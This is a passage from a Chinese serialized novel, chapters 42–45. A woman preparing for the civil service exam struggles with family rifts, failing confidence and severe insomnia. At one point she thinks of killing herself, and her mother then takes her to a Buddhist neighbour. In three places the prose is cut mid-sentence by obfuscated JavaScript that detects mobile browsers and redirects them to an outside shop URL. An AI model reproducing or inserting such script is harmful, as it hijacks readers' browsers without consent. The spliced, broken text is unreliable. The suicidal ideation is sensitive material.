这我哪能猜得到。 “我跟你说,钱鹄他爸爸,牌品真是好。不像我,动不动就急得跳脚。” “他爸爸打起牌来,不慢手,不拖局,总一副蛮有修养的样子。麻将室里的人都愿意跟他打。” 上一回听到“牌品好”的描述,还是看《呖咕呖咕新年财》。我很爱看千禧年前后的港产片。小时候在外婆家,我和姜斯承晚饭后守着上庸六台,看了不少电影。 “你们都去麻将室了,打牌还挑人?”我问道。 “那肯定咧!有的人连台子钱都跟老板赊账,你还指望他输了以后老老实实给钱?” 之前去集市买菜,就看到她的车子停在麻将室门口。里面的人个个似神仙,在那吞云吐雾。 “你也是狠,麻将室里面那么多人抽烟,你一坐就是一下午。” “大伙都在抽烟,习惯就好了。不过,钱鹄他可是烟酒不沾哦!” “你有什么毛病,绕来绕去又说到他身上。”我从床上坐起,“走的啊 !” “别走啊,我还没有和你聊完哩!欸!你去不去麻将室唦?” 我没理她,挥挥手,离开房间。 真是闹心。 42. 2025年7月,第27周 42 [2025年7月,第27周] 回到家,我看到妈妈发过来的一个视频。 “我们老师说过了,周岁是我们跟世界见面的第一天,虚岁是我们遇到妈妈的第一天。人之所以有虚岁,就是跟妈妈单独待在一起的那一年。这一年是我们共同分享心跳的一年;这一年是任何人都比不了的一年;这一年是只属于我们两个人的一年。十月怀胎离娘身,娘奔死来我奔生。虽然我五周岁了,可是妈妈却爱了我六年。因为妈妈永远比这个世界多爱我一年。” 后面还跟着一句语音:“说一千,道一万,我都是为你好哇,伢嘞!” 妈妈在担心我的后半生,从我一个人过这一点上。 我在担心自己的后半生,从没有工作这个点上。 我没什么自信了。 小学考试,老师批改卷子采用减分制。每回拿到试卷,正反面一翻,只一两个错处。升上初中,有的老师采用加分制,我不习惯,便抓大头,专看数学大题的哪些分数没拿到手,和她人相比谁的作文分数更高。及至高中,所有阅卷老师统一采用加分制,考多考少,我已不在意,都随它去。每回排名出来,看完前面的名字,没有自己,也不会往下接着看。 科技大作为一本,学生管理上不算严格;试卷难度不大,任课老师不希望学生挂科,课程结束,还会提供历年试卷的电子版。考试周于我,是放假前的狂欢。 我擅长合格,哪里差得较为突出,补补就行。若要拔尖,我只会老一套,从不出错的角度思考问题,而非齐头并进,一点点争取有利形势。 言语课程已进行到一半,做题的正确率,徘徊在百分之七十上下。政治理论和常识非我所擅长,之后的图形推理势必会拖后腿,至于其他模块,尚未看得见优势。 行测考到七十分,不一定能进面。我不算摸到言语题目的脉络,听起来全会,做起来要死不活。并非我不能理解解题的思路和要点,可若是会了,做起题来,为什么没有把握? 学理科这么些年,要么不理解,要么想不到,我没有遇到过第三种情形。 大学期末备考,我把课本翻完,刷上一套历年真题,对于考试,就谈不上担忧了。历年真题并不总有答案,这于我无碍。 当我决心要做某事,还未遇到过如今备考的这种情况。 而且,做题时,我在一旁掐着表。每道题耗时都在一分钟以上,遇到不甚明白的,更是上到两分钟。 本来,整体题量就摆在那里,综合起来,分数只会更低。照我现在的速度,之后系统刷题,还有得练呢! 我对备考的挫败感到陌生,于此,亦找不到突破口。 外公去世那年,每每想到回去榕潭,再不能在二楼看到外公,心中好似永远地缺了一块。无名的情绪无法排解,从图书馆返回宿舍,我放下书包,每天都会去宿舍楼旁边的操场跑上几圈。 跑步于我从来都是折磨。大学体测的八百米考试,我险险以四分十九秒踩线及格。现在犹能记起另一个寝室的祁晖在终点线前拉起我手的圣光时刻。 大三那年,每每跑到撕心裂肺,突破本以为无法承受的身体极限后,人总能从刻意控制的呼吸、不快不慢的步伐中感受到平静和安定;意识在混沌中适应这种感觉,临近终点,还能加速冲刺,拼搏中激发出一股誓不认输的、不信邪的劲气;越过终点后,并不会停下,而是再次调整步伐,降低消耗,在一蹬一起间蓄势,再次冲向终点,或是半圈后,改为大步走,返回宿舍。 一九年去房陵工作,我常骑车到小区附近的大学城,无论如何,每天总要跑上几圈。之后,在一次意外中拉伤了韧带,恢复得不好;跑步的折磨属性从未变更,我不再有心力继续折磨自己,这才将其搁置。 辞职至今,仍不时去湖边骑车。可我却越来越无感。无论是刷短视频产生的多巴胺,抑或运动生成的内啡肽,都于事无补。无意义的坚持消耗着我所剩无几的意志力。 而且,花上一到两个小时运动和遛狗,让我有些在意。骑车是运动的一种形式,洗碗、拖地不也是体力上的劳动吗?前者是时间上的奢侈,后者是生活的必须。想到这里,我决定,除非起心动念,不再骑车。 对于备考的迷茫,我拿出一张纸条,写下考公的好处:“一、离家近。二、稳定,不累。三、有更多的时间陪脱兔。”并将字条贴在了墙上。另外,我鞭策自己继续赶路,期许整个课程完成之后,能从全局上给出应对之策。 可是,于当下,由结果反馈过程,我自觉做得不好。我无从面对自责,谈何驱散和化解?心中无名的愧疚,持续瓦解着我的信心。 自信是知道自己是谁,走在自己的节奏里。后者,我凭借理智尚能勉强维持。至于前者,我不想评论自己,这其中不会有什么好话。我一直避免如此。 我心知,对于结果,自己太迫切了。离考试还有五个月,我对自己说,不要现在就焦虑考不到。 每天汲汲营营,想要全身心投入,我已觉察到,这个路子不对。要不然,我限制自己每天看书的时间,达到目标后,就停下?这样,就不会觉得自己学得不够了。 “哈哈哈哈哈哈,”我笑出声。人这般歇着,能有啥用?想想得了。 妈妈之前给我分享过一个视频。视频里有这样几句话: “一个人的心态与精神,对一个人的生存是多么重要。” “如果我们无法改变所处的环境,那我们能改变的,也是唯一能改变的,就是自己的心态。” “环境越艰难,就越应该打起精神。只有精神好了,生命自然就会找到原本属于他的意义。” 我顺藤摸瓜找到维克多·弗兰克的《我们活着的理由》和《活出生命的意义》,稍稍翻阅了前者。 这里有一个谬论,何谓“无法改变的、所处的环境”?如果人可以选择,所有人都会选择逃离奥斯威辛集中营。当代,对于成年人,大家都可以选择更愿意去到的地方。没有一成不变的生活,如今,路引已成为历史。 我已经知道,不要期望他人会改变。可亦有人说,“不要随便评价他人。” 《了不起的盖茨比》中有这样一句话,可以引之为据:“每当你想批评别人的时候,要记住,这世上不是所有人,都有你拥有的那些优越条件。” 我极少对他人妄下评断。即使是打从禀性就不喜欢的人,我也会压抑自己的不悦,尽可能给出足够的尊重,然后保持距离。 对于家人,我似乎走进了一个怪圈。曹操秉持“宁教我负天下人,休教天下人负我”的观念,因此,他是一代枭雄。 我对家人极有耐心,包容心更甚。即使外婆和我划清界限,我会转身就走,而非当场理论。妈妈二三年已突破我忍耐的极限,可是,待我境遇好转,又再次心软与她联系。爸爸则更不用谈。 相比自己弄清楚何时应该割袍断义,把主动权交出来,让他人决定此事,是我用起来已称得上熟练的把戏。此举,有中亦有不中。 我践行“宁教天下人负我,我不负天下人”的方针,因此,我是一头“狗熊”。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301317|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不得不承认,把主动权交出去,关系断不了不说,每每遭人嘲讽,次数多了,心里也更为扭曲。 二元论一直被贬低,“这世上不是非黑即白、非此即彼”,他们这般说道。虽然如此,我却是二元论坚定的拥趸者。事情就是做与不做,结果就是好与不好,饭就是吃与不吃,身体就是健康与不健康。所谓复杂,就是一团乱麻,捋不清,定不了性,也不必上价值。 一方面,我没有彻底和亲人断绝来往;另一方面,我没有认定他们坏,相比犹豫不决,我更倾向于他们在好的阵营。 原生家庭四个字,在网络上出现得愈加频繁。如果原生家庭带来的大多都是不幸,奉劝来自这样家庭的孩子远离原生家庭,已经成为了朗朗上口的金科玉律。 十八岁那年,我第一次不在奶奶家吃年夜饭; 二十二岁那年,我和爸爸把话说开,他再不能用生活费要挟我做事; 二十三岁那年,爷爷去世,我不欲继续和奶奶家来往,和爸爸断绝父女关系,并搬回榕潭; 二十五岁那年,外婆和我划清界限,自此我不在外婆家吃年夜饭; 三十岁那年,我把妈妈赶出家,和外婆家不再来往。 在杉湖读书,及至外出工作,家人在我生活中的含量,已无比之低。若说亲情,我自问,我待他人之心,远超他人待我之心;我对自己的好,没有几个人给得出来,因此,我也不欠缺照顾。若说帮扶,几年待业,只我一人居住,生活费按月领取,加上网贷爆雷,钱财这块,拿得出,就还得清;至于其他,之前就像薛定谔的猫,现在已成一场空。若说孝道,我已学会甩无赖,既然还不清,那就一辈子亏欠;不过是被人指着鼻子骂,我不欲解释,也就认了。 即便这样,却仍旧无法割舍亲情。上学时,犹看一些“独自一人对抗全世界”的中二小说;成年后,影视剧中大肆渲染家庭和睦友爱、父母宠爱有加的温馨氛围。谁也不愿落于人后,我欲一力背负自己的责任,就算自欺欺人,也不想直面生活中的凉薄。 出生时我可以什么都没有,可凭借自己的力量,我什么都想要。骗自己又怎样?我掩耳却不欲盗铃,掩目却不欲捕雀。亲情是好的,纵使我得不到,待我日后组建了自己的家庭,我也自信给得出。被爱与幸运有关,爱人却是一种能力。而且,玻璃渣中,总能找到糖;屎里,也能够找到巧克力。垃圾场亦是回收站,此话不假吧? 过去,我对自己能力的要求不断加码,直至崩盘。 “你必须不再渴望拥有一个更好的过去。”视频中如是说。 “生活不在于有一手好牌,而在于把你手中的牌打好。”我亦读过这样一句话。 我花了很多时间和精力意图打造有利条件,与先天劣势进行抗衡,结果收效甚微;原先我认为运气靠不住,想凭借自身实力立足,现在却发现,我的能力,也就三脚猫的功夫,方向对了,我不想再似之前那般费劲,若说没有期许遇到具有潜质的项目,抟扶摇而上,那也是假话。 我已经花费太长时间准备行囊了。因为怕输而不敢上场,我欠缺的是勇气,而非黄金盔甲。打从我有意识地保护自我,已然练就了极强的避坑能力,一旦察觉到苗头不对,立即掐断;常年累月下来,我有些迷离,究竟是自己的判断正确无误,还是这世道安详无危? “山河无恙,盛世长安”之下,人人皆能收获幸福。我倾向于副本简单,盖因“山不厌高,海不厌深”。 God bless me. 老天再眷顾我一次吧。 43. 2025年7月,第27周 43 [2025年7月,第27周] 下午到店,妈妈正从小阿姨那里搬来卤水,装在五升的油壶里,一共居然有四桶。 “之前有人来我家买卤菜,想要花钱买卤水,我都不答应呢!”小阿姨拿乔道。 “晓得你的好,谢谢啊!”妈妈亲热地说道。 “怎么这么多?”我问妈妈。 “店里一桶咧,小鱼伯伯一桶咧,还有一桶给颜盐,剩下的一桶给大舅妈!” 闻言,我打了个冷颤。抱团揩油的一群人,真让人感到害怕。 “你还没有尝过店里的肥肠面吧?明天我把大肠卤好,包管你吃了还想吃!” “哈哈哈,好嘞,我就等着饱口福了!”妈妈原先在家弄过爆炒肥肠,味道还可以。 “你等会要去家家屋里?”我问道。 她抬头看向我:“怎么,你转念了?” “嗯,我等会和你一起去。” 她上下打量我,不置可否。片刻后,她说:“行吧。” 妈妈收拾完,给我发来消息,我随之下楼,在外婆家门口和她汇合。 只见她拿出钥匙,打开门,将卤水放到厨房的地板上,径直上了楼。我跟在她身后。 妈妈推开门,大舅妈正在收拾摆在堂屋的双层床下铺,借着卧室的光亮,连灯都没有开。听到动静,她抬起头,满脸笑意地和妈妈打招呼:“你来了!” 注意到妈妈身后的我,亦说道:“小翕也来了呀!” “大舅妈。”我喊她。 “诶!进房里坐,房里凉快!我先把床铺好!” 我点点头,跟着妈妈进入卧室。 花绞线挂在床头,悬吊一个拧着LED灯泡的灯座,并没有打开开关。大床对面的老式日光灯亮着,若长一面墙,摆了两张书桌和一个带镜子的老式五屉柜,靠近门的地方,还塞了一个约有人高的铁架子。上面对方一些杂物。中间的深色书桌托着电视,靠近阳台的浅色书桌上则摆着一个窄柜,里面装着满满当当的药。 “老娘!”妈妈和外婆打招呼。 “你这个时候怎么来了咧?床上东西多,你随便找个地方坐!”看到妈妈,外婆十分惊喜。 “我身上脏,要回去洗澡了。一会就走的,不坐了。”妈妈回答。 另一面墙嵌着四开门的衣柜,不过,门都已卸下。我从衣柜侧边走出,外婆注意到我,没有言语,把目光移开。 “家家。”我喊她。 她看了我一眼,勉强应了一声:“嗯。”之后,再次将目光移开。 妈妈笑着瞥了我一眼,说道:“今天是她主动提出要过来看您的啊,我可什么都没说。” 外婆把嘴巴一抿,一言不发。 “没有听到你们喊人咧?大宝,小宝!开口喊姑奶奶唦!孃孃也来了!”大舅妈忙完,回到房间。 姜子彤出生后,小脸圆乎乎的,屋里人见状,便给她起了个小名,叫丸子。及至姜子玥出生,他们家喊小宝喊习惯了,便把姜子彤喊作大宝。 两个小家伙仍作一副怕生样,你瞧瞧我,我瞧瞧你,都不开口。 “两个小苕货!”大舅妈替她们解围。 丸子一七年出生,二三年的时候,妈妈担心她学习跟不上,让她晚一年再入学,姜家人无不同意。小宝应该比丸子小个两岁,现在还在上幼儿园,早上不时看到大舅妈送她去幼儿园。 卧室原先就摆着两张床。外公去世后,家里人怕外婆孤单,便让大舅妈搬到二楼,和外婆同住。丸子出生后,为着方便大舅妈照顾孙女,就把阳台的沙发床搬到卧室,自此,二楼住着姜家三代人。估摸着两个小家伙长大了,沙发床上睡不下,这才买了双层床,放在堂屋。 “奶奶在堂屋替你们铺床,你们在这里做什么呢?”妈妈逗两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301318|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小孩开口。 大的那个把嘴巴一抿,眼珠咕溜儿地转,硬是不说话。小的仰头看了眼姐姐,亦不开口。 “姑奶奶问你们话呢!”大舅妈在一旁帮腔,“我们在陪姥姥聊天!回答姑奶奶唦!” “你们没进来前,两个小的闹得可欢呢!”大舅妈替自家孙女说话。 妈妈随手拿起一本书,正好是一册童话故事。“你呀,每天睡觉前,还是要给伢念书,再让她们讲给你听,教她们多开口。” “书买了就要用,不然,放在这里当摆设!屋内的东西真是多,落脚的地方都没有。” 卧室并不小,除去一张一米八的大床,还放得下一张一米五的沙发床。大床两侧各有一个床头柜,大床和衣柜之间,还有一把可折叠坐便椅。家具上无不堆满物件,零食,物什,应有尽有。整个房间只留有三条道,分别通往两张床和阳台。 “老娘也是,把床上面堆得都是东西,您晚上翻得动身呐!”说完大舅妈,妈妈转头又唠叨起外婆。 按摩用的锤子、滚轮,玉石枕头,装着药的铁盒,铁盒盖子,一摞叠好但没有放进衣柜的衣服,在床上围出了人形。 外婆自知理亏,面露赧色。 “念了的,我每天晚上都和她们念故事。”大舅妈回说。 “真的啊?那我下回过来考她们咧?”妈妈不依不饶。 大舅妈不再作声。 “忙了一天,我也累了。见也见到了,再回去咧?”妈妈转头和我说。 我点点头。 “卤水跟你放厨房了,你等会记得收拾。”她嘱咐大舅妈。 “哦,好的。” 大舅妈把我们送到门口,妈妈又嘱咐了她几句,才把大门合上。 “再满意了咧?心里还有没有惦记的事?”她问我。 我摇摇头。 她不再言语,发动三轮车,驶回住所。 44. 2025年7月,第27周 44 [2025年7月,第27周] 洗漱完,我躺在床上。晚上吃过药,便没有再喝水。睡下后,已跑了数次卫生间。如果前一回尿的不多,下一回多少也要尿出一些;及至完全尿不出,人仍能感觉到尿意,却不用继续起身。 至于就寝,我完全没有趴着睡的念头。从左侧转向右侧,不得已,最后,身体只能平躺,心脏才不会“咚咚咚咚”地跳。 补血的药已经买了,正在吃。呵,我还有什么可以做的?想着想着,我进入了睡眠。 灵台再次清醒,我在心里默念,“不要早醒、不要早醒”,确认了时间。天不遂人愿,不多不少,恰好又是凌晨一点。 属于杠上了这是。 我怕不是要死了。脑海中浮现这个想法。 心里再度开始刮风,光杆树枝“咻咻”地嚎叫。我倒也冷静,总归有对策。轻车熟路,我点开呼吸应用,双手放在腹部,有节奏地吸气呼气。 睡不着便睡不着,闭目养神也是一种休息。 洗漱完毕,把药揣进裤兜里,我叼着一瓶生脉饮出了门。五点二十分,完成每日例行公事,我把油锅搬到室外,点着火,又回到店里,拿出口罩戴上。 妈妈把整锅豆皮端到台阶上的方桌,去而又返,手里拿着一个稍小的面窝勺。 “这东西还有两个?”我难以置信。 “想不到吧,你妈妈我呀,准备多着呢!”言语中流露出几分骄傲。 “你往旁边站点,”她同我说道。 只见她把窝勺浸入油锅,将勺递给我,再把我手中的拿走,待面窝浮起,她又舀起一勺米浆,和我交换窝勺。 不过肩宽大小的灶前,竟站了两个人。 “就让我一个人慢慢地炸咧!”我觉得不自在。 “早点炸完你也可以早些回去休息,这样难道不好吗?” 我拗不过她,只能由着她来。 她把单灶的旋钮拧大,人站在油锅前,迎面的热流扑地壮大奔腾起来。 “舀完米浆,先把窝勺沉到锅底,锅底温度高,这样的话,定型得更快,知不知道?” 我看着她操作。窝勺沉到锅底后,正面倒是不会散,一滴滴米浆却从侧面逃逸,汇聚到油锅表面,成为散乱的网状物。 她拿起漏勺,把悬浮物框拢,磕倒进米浆盆中。 面窝还未从窝勺中浮起,她等不及,用筷子一挑。面窝倒是和窝勺分离了,底部却没定好型,甫一与热油接触,散开了花。她再次用漏勺网住悬浮物,一系列操作已称得上得心应手。 “这个我吃,”她对我说。 事不过三,油温过高,她又急着脱模,没散的面窝也长得千奇百怪,颜色无一不深,让人不忍直视。 我已有些难受,她却像个没事人。 六点半左右,面窝全部炸完。除去满满一盆,沥油架上亦高高堆起。 我歇下来,进到店里,把冲剂倒进一次性塑料杯中,加入热水;又盛了一碗稀饭,一齐端到台阶上的不锈钢桌上。就着稀饭,把胶囊服下。 店里没有什么人,妈妈站在台阶上,和我搭话。 “你昨天晚上睡得好唦?” “还是一点钟就醒了。”我如实相告。 “哎哟,这可怎么办。”她感慨道。 “你醒了之后,不看时间行不行?你就接着睡!” 是这个原因吗?大脑已经无法思考了。 “要不然,去看一下中医?”我问出了心里话。 “哪里有时间咧?早上要看店,忙完人都累了,你可以不补觉,就往外面跑?” “而且,市内的医院,哪一家的号不难挂?” “唉。”意见被驳回,我只得叹气。 我也不想大动干戈,可我已经受不住了。连着三天,我都没怎么睡觉,我已经有些崩溃了。 妈妈回到店里,屋内传来锅碗瓢盆的碰撞声。 “唉。”我禁不住地一再叹气。 准备离开时,一人骑着自行车到店。 “早上好!”我和他打着招呼。 他朝我点点头。 “早上好哇!想吃点什么?”妈妈也和他打招呼。 “下两碗粉吧。” “今天怎么是你上街,你家杨洁咧?”妈妈边做事,边聊家常。 “这不是家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301319|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睿预产期到了,她在屋里收拾东西,只能我出来!” 来人在下街开建材店,亦是外婆的街里街坊。齐家睿比我大一岁,很早就去到杉湖读书。周末她回榕潭,我常找她玩。在一中的时候,还碰到过她。 “剖腹产还是顺产咧?” “现在轻易都不给剖!非要指征到了才行!” “顺产也好,恢复得快!”妈妈安慰道。 “终于叫你们盼到了哇!我提前祝贺你们,心想事成啊!” “好、好,谢谢啊,到时候给你发喜糖!” “你姑娘在店里帮忙?怎么看着无精打采的,脸上一点颜色都没有。”他问道。 “唔,许是困了吧。她在准备考公。” “回来也好,读书读那好有什么用?还不是为了找工作。” 妈妈之前和我提过,齐家睿在家呆了好些年,赶上填湖造陆,社区招人,这才有了落脚处。 “喝点什么?”妈妈问道。 “算了。买两份回去,她不喝,属于浪费;买一份回去咧,她看着也想喝,你说给哪个?为这点小事吵起来,不值当!” 不患寡而患不均,说的就是这个道理。 “买早点也是,想着一样一份都尝尝,总会觉得别人碗里的更好吃,这也是人之常情。” “一个屋里就两个人,性格都要强,真是难得处!”他颇有些感慨。 “一共多少钱?”问完,他手机转账过来。 妈妈把粉端出来,打包完,又放进一个大塑料袋,拣了两杯豆浆进去。 “行吧!豆浆怎么卖咧?”他再次拿出手机。 “送你的!”妈妈不说价格。 “那下回一起给啊!多谢!”家中有事,那人也不不宜多留。 “齐家睿和谁结婚了?”我问妈妈。 “我也不熟,好像是相亲认得的。他们天天晚上出来散步,你回去的早,没看到。” “她婆家咧?怎么是自己父母忙前忙后?”我疑惑地问。 “她公公承包工程的,婆婆也一起,走不开吧。” “哦。”自家父母在身边,照顾得只会更好,齐家睿也更安心。 45. 2025年7月,第27周 45 [2025年7月,第27周] 给脱兔做好早饭,冲过凉,我躺在床上。说来也奇怪,在店里三、四个小时,哪怕一次,我都没想过要去卫生间;可回到家中,人一躺下,感觉就来了。 迷迷糊糊间,睡意再次被驱散。我看向闹钟,人已有些作疯癫态。 太难受了。我已经精疲力竭,浑身上下满是倦意,一心只想睡觉,可我睡不着。这让我感到绝望。 此时此刻,脑子中什么念头都没有,心有些横。一个想法浮现出来:我想把自己解决掉,这样,睡不着觉就不足以构成问题了。 精神开始恍惚,我离开家,再次去到店里。 我想,飘到门口的时候,我大概像一缕游魂。随着那句“妈妈,我不想活了”从口中吐露,妈妈再也不能装作无事、放任不管了。 “哎哟,你是怎么把自己搞成这个样子的呀!” “来来来,先坐下。”她把我扶到板凳上。 “还是睡不着?”她问道。 “嗯。睡了十多分钟,又醒了过来。” “那我们去医院咧?”她妥协道。 我摇摇头,我已经没有这个心力了。 “那怎么办?”她也没有办法。 “我也搞不清楚,你这是身体不舒服,还是有心病。”她这般说道。 一时之间,俩人都没有言语。 “这样,我认得一个人,她是学佛的。我遇到问题的时候,经她开解,就不会继续纠结了。我把你带过去,让她和你聊聊咧?”她提议道。 我摇摇头。 “唉,你又不相信别人。你遇到事,老憋在心里,哪个都不告诉。长此以往,啧,人怎么好得起来!”妈妈有些捉急。 “你这个样子,别人想帮你,也没有办法。这也不行,那也不行,那你说,你要我怎样?” “心里想什么,你就说出来!我照做还不行嘛!” 眼见她恼火起来,我有些慌乱,不知该如何是好。 “你就去见一下那个人,聊下天,没得关系的!”她再次主张。 我看着她正言厉色的模样,懵懵懂懂,又畏畏缩缩,好似做回了那个时常不知所措的小孩。片刻后,我点了点头。 “对嘛,听人劝,吃饱饭。”妈妈表示赞许,露出欣慰的样子。 “你稍微等一下,炉子上正卤着猪大肠,我把火调小,就可以出发了。” 我点点头。 坐上电动三轮,妈妈径直朝前开,没一会儿,拐了个弯,把车停在一排民房的侧面。 路边的石桌旁坐着两个人在那谈笑风生。妈妈拉着我的手上前,和她们打招呼:“姐姐,你好哇!这是我女儿,我们想找你聊聊天。” “喊伯伯唦!”妈妈拽了一下我。 我照她说的做。 其中一人点点头,正是前几天到店买面窝,面相看上去不错的那位。 “好吔,你先到我家坐一会,我和她还有些话没有讲完。”那人说道。 “是这样的,我这个事有些急。”妈妈强调。 另一个人见状,做出让步:“没事,我说得差不多了,,也到时间回家准备午饭了你去陪她们吧!” “那就不好意思了咧!”那人语气诚恳地致歉。 “这有什么,”另一人毫不介怀。 “谢谢你的理解啊!”妈妈亦道谢。 我跟着妈妈,妈妈跟着那人,进到这一排的其中一栋民房,走上楼梯,一层又一层,直到四楼。我有些吃力,抬起头,看向玻璃门外的露天阳台。太阳直射前方位于阳台两角、几乎齐到人胸前的绿植。我脑袋有些发昏,人亦感到苍白。 “你们稍微等一下,我今天还没有浇水。” “姐姐,我们就这样进来,不是把你房子踩脏了?”妈妈站在楼梯口,并不往里走。 “没事,我每天都要拖地。” 得到主人家许可,妈妈进入堂屋。 那人将墙角的桶提到室外,挨个灌溉矮墙之上的绿植。 待她回到屋内,妈妈奉承道:“姐姐,你的这两盆虎皮兰长得可真好。” “你要是看得上,改天我移一株给你。”那人笑着说。 “我在住的地方养了君子兰,摆在过道,基本见不到阳光,你莫说,长得还可以,春天还开了花,蛮大一朵。” “你说这些东西,到底是养在室内好呢,还是室外?” “有的植物喜阴,有的植物喜阳,你按照它们的特性养,总不会错的。” “唔,我搞不清楚。养得活就养,养不活就拉倒吧。” 那人闻言一笑。她从靠墙的角柜拿出遥控器,进入房间,打开空调。 “你们先进房间坐,堂屋里热。我每天都要供养菩萨两次,早上的这一次在巳时,今天还没有上香。”说完,她朝堂屋的一角走去。 “没事,我们等你拜完。”妈妈答说。 “这个伯伯呀,家里可是有佛堂的。”妈妈特意和我提及。 老街改造,各户门前的区域被划拉到主街道。为保证外观齐平,统一翻新门头,留出长度不一的玄关。玄关之上的区域,成为了其他楼层的阳台。外公去世后,外婆把他的遗照挂在阳台的墙上,下方摆了张案台,供着观世音菩萨。案前还放着蒲团。 有一段时间,每每回到榕潭,到外婆家的第一件事就是去到二楼给外公上香。姜斯童亦如此。后来遗像被取下,这才作罢。 那人从小房间端出一个水杯,倒在门口的桶中。 “八功德水每天都要换,这个水不能随便倒,我都用来浇花。”说完,她拧开一瓶矿泉水,倒入杯中,又把瓷杯端回房间。 “你看,礼佛有这么多门道。”妈妈对我说。 那人从房间拿出水果和零食。 “供果我就不拿给你们了。”说完,她从角柜中拿出一些零食递给妈妈和我,“这个可以吃。” 妈妈看向我,我摇了摇头。“她一向不吃这些,我来吃吔!”她从那人手中接过。 那人望着我笑了笑,又拿出一些零食去到小房间。妈妈亦跟了过去,我随她一起。 那人借案上蜡烛的火苗点燃香支,用手将余焰扇灭;她将香举于额前,片刻后,插入香炉,合掌礼拜。礼毕,她转身出来,妈妈提出:“姐姐,我也来上个香吧!” “可以呀,”那人侧过身,让妈妈进去。 待妈妈出来,“你要不要也上个香?”妈妈问我。 我摇摇头。 “我们回房说。”那人率先走到房门口,脱下外鞋,妈妈照做,亦示意我。 “哎哟,这客气作甚。”那人回头说道。 屋内靠墙摆着一张双层床,干净整洁,深色木制地板尤为光亮。 “家里人都很尊重我的信仰,专门把这一层空出来让我礼佛。”她说道。 “没事的时候,我就一个人上来,在佛堂念经,或者在这个房间休息。他们一般都不上来,怕打扰我。地板每天都擦,我平时直接坐在地上,”说完,她弯腰坐下,“你们不介意吧?” “没事,屋里这么干净,”妈妈亦坐下,见状,我也直接坐了下来。 “我们今天来,不打扰姐姐唦?”妈妈客气道。 “这有什么,刚才那人也就和我闲聊。她人在这里,我不好撇下她,晓得伐?” “没得事,我们过来也没提前和你打招呼,今天还是让我们赶巧了!” “哟,看我这记性,都没有给你们拿水!”说完,那人起身离开房间,回来时手里拿着两瓶矿泉水。她伸手递过来,妈妈接住,分给我一瓶。 她再次坐下,直接进入正题。“是怎么个情况?”那人看向我,却对着妈妈发问。 妈妈偏头问我:“你说还是我说咧?” 我没有开口。 “哎。”妈妈叹出一口气。 “个小姑娘呀,心里一直积着事,又不和人说,现在搞得自己晚上连觉都睡不着。我让她去医院咧,她也不想去。” “我跟她说,我认得一个伯伯,学佛很有一套,让她来开解你。小丫头这才点头。店都没有关,我们直接就过来了!”她这般介绍。 “我也就以恭敬心待人接物,谈不上什么。”那人谦虚道。 “丫头今年多大了?看着还是个学生样。” “欸,都这样说她啊!她今年都三十二了。”妈妈感慨道。 “哟,看不出来,看不出来。清秀了的一个小姑娘,说是还在读书我都信。” “老大不小了,朋友都没有谈过吧?”妈妈试探着问我。 我没作声。 “她反正不急呀,一心只有工作。才把工作辞了没多久,又说要考公。个伢哟,总是想一出是一出。我也没得办法,只能让她去考咧!” “她又静不下心来,今天这里不舒服,明天那里不舒服。年纪轻轻,毛病比我还多些!现在还说自己睡不着觉,让人弄不清楚她到底想干嘛!” “我家里的情况你也晓得,我没有什么放不下的了,只盼着她好。可她现在这个样子,让人怎么放心得下!” 她转头和我说,“我跟这个伯伯关系蛮好,什么事都可以跟她讲,没得关系的!” 我眉毛一挑,对此不置可否。 “话都让你说了,你让丫头自己讲。”那人作势一拦。 “好好好,我不说。” “丫头,你是怎么想的咧?”她问向我。 我抬头看向她,没有言语,再次低下头。 “你看,要她说她又不说,急死个人。”妈妈有些不耐。 “你的个性格呀,还是这么急。你姑娘不想说,那就我们聊天,你在旁边听着?”那人尝试缓和气氛。 我没有说话。 “我那天到你店里去,生意蛮好哇!”那人和妈妈聊起来。 “哎哟,就那一阵。生意难做呀,我倒是愿意吃苦,哪晓得连客人都没得!” “新开张的店,是这样的。铺子都是守出来的,日子能过就行。越往后,越好!”她安慰妈妈道。 “惟愿如此哦!” 妈妈话锋一转,说道:“这个伢的心事,我多少能够猜出几分。” “前些日子哇,有个蛮熟的人,给我姑娘介绍对象。那边也是一个知根知底的,我屋里老娘和那个人的妈妈、还有我,原来都是卫生院的;他爸爸那边的亲人我也晓得,就住在我后面一排,一屋里都是老实人。” “那个男生的外婆,就在你这屋后面。” “是哪一户?”那人疑惑道。 “估计你不熟,就不说了。”妈妈打马虎眼。 “一开始她也同意见面,两个人聊得好好的。结果回来她就说不想继续接触了。我也只能由她。以前总想着她还小,不急。可她已经这个年纪了,再留在屋里,哪还嫁得出去!” 